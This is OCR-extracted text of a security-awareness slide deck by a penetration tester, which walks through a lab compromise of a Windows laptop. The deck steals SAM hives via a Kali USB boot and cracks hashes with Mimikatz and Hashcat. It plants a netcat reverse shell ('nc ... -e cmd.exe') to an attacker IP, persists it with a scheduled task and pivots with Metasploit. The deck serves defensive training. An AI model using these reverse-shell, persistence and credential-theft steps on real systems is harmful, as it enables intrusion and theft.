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About the Presenter

Steve Lackey — OSCE, OSCP, OSWP | Chief Security Researcher / CTO — Cyber Defense Technologies

» Former Intelligence Community Penetration Tester

= Spent extensive time working on offensive/defensive cyber operations while working for Intelligence
Agencies

»  Subject Matter Expert in Hacking

= Industry recognized Security Researcher and has published multiple Zero Day exploits

=  Offensive Security OSCE/OSCP/OSWP Certified

= Elected for CompTIA Subject Matter Expert — Developing Penetration Testing Course/Exam
» Role at CDT

= CTO & Chief Security Researcher / Lead Penetration Tester

= Leads the Company’s Research and Development efforts

= Responsible for ensuring cutting edge ability and next generation capability

= Leads and is heavily involved in all Offensive and Defensive Cyber Engagements, Threat Analysis, and
Recovery efforts
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Common Security Training

. 1. SQL Weak Password Default
Phishing ..
Injection Passwords Re-use Accounts
Don’t click on Sanitize Use Complex Don’t use the Change your Change the
strange links your code Passwords same password password password
Don’t respond to Encrypt users Make password Don’t use variations Change your Deactivate the
odd emails passwords really long of a password username Account

Don’t give info over

g Don’t use SQL

Use numbers and
characters

Don’t use
guessable passwords

Change your PIN

Lock the Account

L lermo ) o



http://www.google.com/url?sa=i&rct=j&q=&esrc=s&frm=1&source=images&cd=&ved=0ahUKEwjKkr707_fLAhXD7B4KHaCQAXEQjRwIBw&url=http://www.cyberdefensetechnologies.com/&psig=AFQjCNGsbNLNtxaChItWAfD0MErND4beUQ&ust=1459958639389014




Instead, What if You...

Provide a step by step walkthrough of today’s attack methods

Detail the tools and methods used

Highlight the areas that made the attack possible

lllustrate why you shouldn’t use a weak password or re-use one and what can happen if you do

Demonstrate how a leaked username/password can lead to the full compromise of an organizations
information systems and the data they maintain

Provide ‘Real-World’ implications to help solidify the importance of proactive security practices
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Many hackers, many talents...

&
Information
and Vulnerability o Post .
R t
Intelligence Analysis Exploitation Exploitation eporting
Gathering

Industrial /

C Organized Crime Hacktivists
orporate

State Sponsored

Security
Researcher

Trusted Insider Script Kiddies | Ethical/WhiteHat
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What Can Happen Without a Password?
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We Can Boot Kali Linux on a USB Drive

KAL

“the quicter you become, the more you are able to hear

Boot menu

Live (amdG4)

Live (amdbd failzafe)

Live (forensic mode)

Live USE Perszistence (check kali.org-pr=st)
Live USE Encrypted Persistence (check kali.org-/pr=st)
Install

Graphical install

Inztall with speech synthesis

Advanced options
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Mount All Hard-Drives

Applications = Places = Files =

< 2 + Other Locations vl |E‘ i “ (- IO )

& Recent On This Computer
+ Starred | 9 | Computer 812.7MB (1.0 GB available |
R ®  64GBVolume 50.9 GB /64.4 GB available /dev/sdal 4

m Deskio
- P MNetworks

[ Documents —
=3 Windows Network

@ Downloads

J3 Music
iC] Pictures
H Videos

i Trash

+ Other Locations

Connect to Server Enter server address... 9 - Connect

H bEreNse
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Applications =

{9 Recent

+* Starred
12 Home

i Deskiop
[l Documents
@ Downloads
J3 Music

‘0] Pictures
H Videos

m Trash

+ Other Locations

PL

< > € 64GB Volume |/ Windows | System32 ."

Steal Files

Files +

) T—
—

RegBack

] sl el

1]
o1

SAM.LOG2

] sl el

1]
o1

SECURITY.LOG2

ll sl sl

1]
o1

SOFTWARE.LOG2

o
@
]

i
4
| ][]

el sl el
[=]=]
]

el sl el
[=]=]
]

] sl el

1]
o1

SECURITY

] sl el

1]
o1

SOFTWARE

ll sl sl

SYSTEM

:, <@mm

SAM.LOG1

SECURITY.LOGL

] sl el

1]
o1

SOFTWARE.LOG1

SYSTEM.LOGL1
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Thanks Kali! We Have Users!

Applications = Places = Terminal = Wed 03:30
LA, [ 64 GB Volume Windows System32 config ~ Q[|li= = = — O x
O R root@kali: /media/root/3016 DF 9A16DF5F80/Windows/System32/config o e O .

J I File Edit View Search Terminal Help
:/media/root/3016DF9A16DF5F80 /Windows
chntpw version 1.00 148201, (c) Petter N Hagen
Hive <SAM> name (from header): <\SystemRoot\System32\Config\SAM=>
ROOT KEY at offset: @x001820 * Subkey indexing type is: 686c <lh>
size 65536 [18008] bytes, containing 7 pages (+ 1 headerpage)
Used for data: 316/31456 blocks/bytes, unused: 21/13376 blocks/bytes.

Username | Admin? |- Lock? --
81f4 | Administrator | ADMIN
0177 | DefaultAccount |

01fs
03e8 Ste acke |ADI"11I‘-I

01f8 | |

101 o1 101

|
- |
E,-',! DEFEINSE
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Good ol’ Mimikatz...We Have Our Hash

&) mimikatz 2.2.0 x64 (oe.e0)

=m0
sy

WLEFCINOL
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Hash Cracked! Thanks Hashcat!
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Now We Can Login ©
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We’'re In|

E

Recycle Bin

Password

. 401 AM
A Sl D)}
g’-\ =2 6/19/2019 E

o Type here to search

-
-
ﬁ'! LErciNoL
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Let’s Start With a Backdoor...

Manage Archive - Do_Not_Delete
Share View Application Tools

» This PC > Documents » Archive - Do_Not_Delete

~

Name Date modified
s Quick access

B Desktop
¥ Downloads

| ne 8/19/2017 2:58 PM

=| Documents
&= Pictures
J‘ Music

i Videos

& OneDrive
= This PC

¥ Network

1item  1item selected 580 KB

o Type here to search

Type

Application

10:51 AM

6/19/2019 EZ

¥ DEFENSE
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Now We’'ll Punch a Hole in the Firewall..

v 1 & > Control Panel > System and Security > Windows Defender Firewall > Allowed apps

Allow apps to communicate thr'oug} You can allow communication with this app from any computer,
To add, change, or remove allowed apps and p including those on the Internet or just from computers on your network.

What are the risks of allowing an app to comm| Name: w3 ne

Allowed apps and features: Fath: C:\users\stevelackey\documents\archive - do_not_delets

Name | What are the risks of unblocking an app?
FMobile Plans You can choose which network types to add this app to.
Movies & TV
MMSN Weather
M Narrator QuickStart
Mnc
O Netlogon Service
B Network Discovery

. Private: Networks at home or work where you
4 Office know and trust the people and devices on the
M OneNote network
F4Paint 3D [#]Public: Networks in public places such as
OPerformance Logs and Alerts airports or coffee shops
B Phototastic Collage

Network types... OK Cancel

Choose Network Types

Allowy this app or port to communicate through Windows
Firewall for the selected network type:

v onourer ap D,

Cancel

11:18 AM
O Type here to search i 6/19/2019 o)
o 3 !
= |
v ucrciNoE
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Netcat is Calling...

Recycle Bin
Command Prompt - nc -nv 192.168.56.227 4444 -e cmd.exe

ot_Delete>whoami

Do_Not_Delete>ipconfig

guration

Ethernet apter Ethernet®:

Connection-specific
Link-local IPv6 Addre
IPv4 Add

S et M & =
Default Gateway

Etherne apter Bluet h N Connection:
ia disconnected

ve - Do _Not_Delete>nc -nv 192
open

11:06 AM B
6/19/2019 2

o Type here to search

|
-
N pcrciN>E
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We Have a Manual Backdoor...

Places > [ Terminal = Wed11:07
root@kali: ~

File Edit View Search Terminal Help
# nc -nlvp 4444
listening on [any] 4444 ...
56.227] from (UNKNOWN) [192.168.56.129] 49850
Microsoft Window on 10.0.17763.557]
(c) 2018 Micro

C:\U
whoami
desktop-d9p2v5stistevelackey

Lackey\Documents\Archive

C has no label.
Volume Serial Number is 16DF-5F8@

Directory of C:\U Ste \Documents\Archive - Do_Not Delete

06/19/2019 10:54 AM
/19/2019 10:54 AM
08/19/2017 0©2:58 PM
1 File(s)
s free

Do Not Delete=ipconfig

ipconfig

IP Configuration

Ethernet adapter Ethernet®:

Connection- cific DNS Suffix . : localdomain
>2c73:87d4%6
£ nar oo W om ez Er w .168.
Subnet M PR T e e L .255.
Default Gateway . . . . . . . . . .168

Ethernet adapter Bluetooth Network Connection:

Dl ot o1 A e Media disconnect
ion-specific DNS Suffix

Documents\Archive - Do Not De

N

ECrciNoLC
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We Automate Our Backdoor & Persist!

chtas e / te /TN “"backup” DAILY /ST 11:45 /ET 15:45
S: The scheduled ta

(]
File Action View Help
e= 2F HE

Actions

Task Scheduler Library

L) Task Scheduler {Local)
(1; Task Scheduler Library

Name Status Triggers
® backup Ready At 11:45 AM every day - After triggered, repeat every 10 minutes indefinit
(B OneDrive Sta.. Ready At 12:00 PM on 5/1/1992 - After triggered, repeat every 1.00:00:00 indefinit 5] Create Basic Task..

Ui User Feed S.. Ready At 642 PM every day - Trigger expires at 6/18/2029 6:42:30 PM. B it Tk

B backup Properties (Local Computer)

General Triggers Actions Conditions Settings History (disabled)

General Trig
When you create a task, you must specify the action that will cccur when your task starts,

Name:

Location: { Details

Author: rt a program C\Users\Stevelackey\Documents\Archive - Da_Not_Delete\ncexe -nv 192.168...

Description:

Security opt

<

|
-
r LErciNSE

n >
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Now we can use our Victim to Pivo

Module options (exploit/multi/handler):

Current Setting Required Description

Payload options (windows/shell/bind tcp):

Name Current Setting Required Description

EXITFUNC proces ye Exit technique (Accepted: eh, thread, process, none)
LPORT 4444 es The listen port

RHOST 192.168.56.129 The target address

Exploit target:

Id Name

0 Wildcard Target

msf5 exploit( )} = exploit

Started bind TCP handler against 192.168.56.129:4444

Encoded stage with x86/shikata ¢

Sending encoded stage (267 bytes) to 192.168.56.129

Command shell session 1 opened (192.168.56.227:36015 -> 192.168.56.129:4444) at 2019-06-19 13:28:17 -0400

sion 17 [y/N]
)

.
{.-!
¢ PcreiNS>E
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Let’s Get Busy on the Network

Organize v Network and Sharing Center View remote printers s~ 0 @
3 Favorites Intel
) Shm ' Share
+a Libranes
Internet Explorer l Mac Hackintosh Utils
Y Sh Y Sh
.‘ Homegroup — Share -, Share
2 Usman (USMAN-PC)
Program Files (x86) l Users
I‘ ¥ Share 4 Share
& Computer - -
€l Network
Slide Credit: https://www.addictivetips.com/windows-tips/windows-8-file-sharing-share-users-system-folders-on-network/attachment/access-share-folders-png/ C‘“‘/Eﬁ ’_R

TEEHNOLEGIES
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Maybe | Should Clear My Cache?

— — O @ & | https://app.bracewell.com/vpn/index.html w = 4L & -

BRACEWELL

EHMOLOGIES
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You should really clear your cache

S =2 O ey @ JPMorgan Chase and Co. [US] | https;//www.chase.com/ ¥ = 7 e

Open an account Vv CHASE l“ ATM & branch Espafiol

EARN 60,000 Y
BONUS POINTS | ~ " Welcome

StevenlLackey
Plus earn 2X points on travel and dining

at restaurants, from airfare and Hotels to NN S cecesccnce
fine dining and cafés. : )

D Remember me Use token >

Learn mare N % e
% Sign in

Forgot username/password? >
Not enrolled? Sign up now. »

Choose what's right for you
< = 7 ﬁ = >

Checking Accounts Free credit score Find a credit card Home Lending Car Buying & Loans

O C @0 C 0O 000
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Where Do We Go From Here?

Everyday users trained by conventional means remain vulnerable.
With increasing attack activity and high stakes, repetitive cyber-training seems to have lost effectivity

Impactful stories of “Real World” examples show the art of the possible and demonstrate
consequences of not practicing good cyber hygiene

Liberate your brightest to create examples using a variety of techniques to expand cyber awareness
Creative Training produces educated users that can both prevent poor security practices and

recognize/report a variety of attack attempts in real time. They are your first line of defense, and with
the right training/tools, they can be one of the best security assets to your organization

=
5 |
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Questions? Comments?
Let Us Know!

» Cyber Defense Technologies

= “Niche” cyber security firm focusing on Secure Systems Design, Security Testing & Exploitation, Regulatory
Compliance Readiness

=  Serving federal agencies, state & local governments and commercial firms
= SDVOSB founded in 2010 by Industry Experts from the Federal Sector

=  Co-Founders of VetCon and Co-Organizers of InfowarCon

» Contact Info
= 1818 Library Street, #500, Reston, VA 20190
= 800-658-1846

= info@cyberdefensetechnologies.com

H bEreNse
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See You on Social Media

FACEBOOK TWITTER
www.facebook.com/CDTLLC @CDTLLC
@HackToProtect

TEEHMOLOGIES



http://www.google.com/url?sa=i&rct=j&q=&esrc=s&frm=1&source=images&cd=&ved=0ahUKEwjKkr707_fLAhXD7B4KHaCQAXEQjRwIBw&url=http://www.cyberdefensetechnologies.com/&psig=AFQjCNGsbNLNtxaChItWAfD0MErND4beUQ&ust=1459958639389014

	Training Through Real World Discovery�
	FISSEA Slide
	About the Presenter�Steve Lackey – OSCE, OSCP, OSWP  |  Chief Security Researcher / CTO – Cyber Defense Technologies
	Effective Security Training?

	Common Security Training
	There’s got to be a better way!

	Instead, What if You…
	Do you know your adversary?

	Many hackers, many talents…
	Do you password protect your BIOS? 
	What Can Happen Without a Password?
	We Can Boot Kali Linux on a USB Drive
	Mount All Hard-Drives
	Steal Files
	Thanks Kali!  We Have Users!
	Good ol’ Mimikatz…We Have Our Hash
	Hash Cracked!  Thanks Hashcat!
	Now We Can Login 
	We’re In!
	So you got in my computer 
	Let’s Start With a Backdoor…
	Now We’ll Punch a Hole in the Firewall..
	Netcat is Calling…
	We Have a Manual Backdoor…
	To persist or not to persist 
	We Automate Our Backdoor & Persist!
	We persist! 
	Now we can use our Victim to Pivot
	Let’s Get Busy on the Network
	Speaking of the Corporate Network

	Maybe I Should Clear My Cache?
	How about your finances 
	You should really clear your cache
	Where Do We Go From Here?
	Questions? Comments?�Let Us Know!
	See You on Social Media

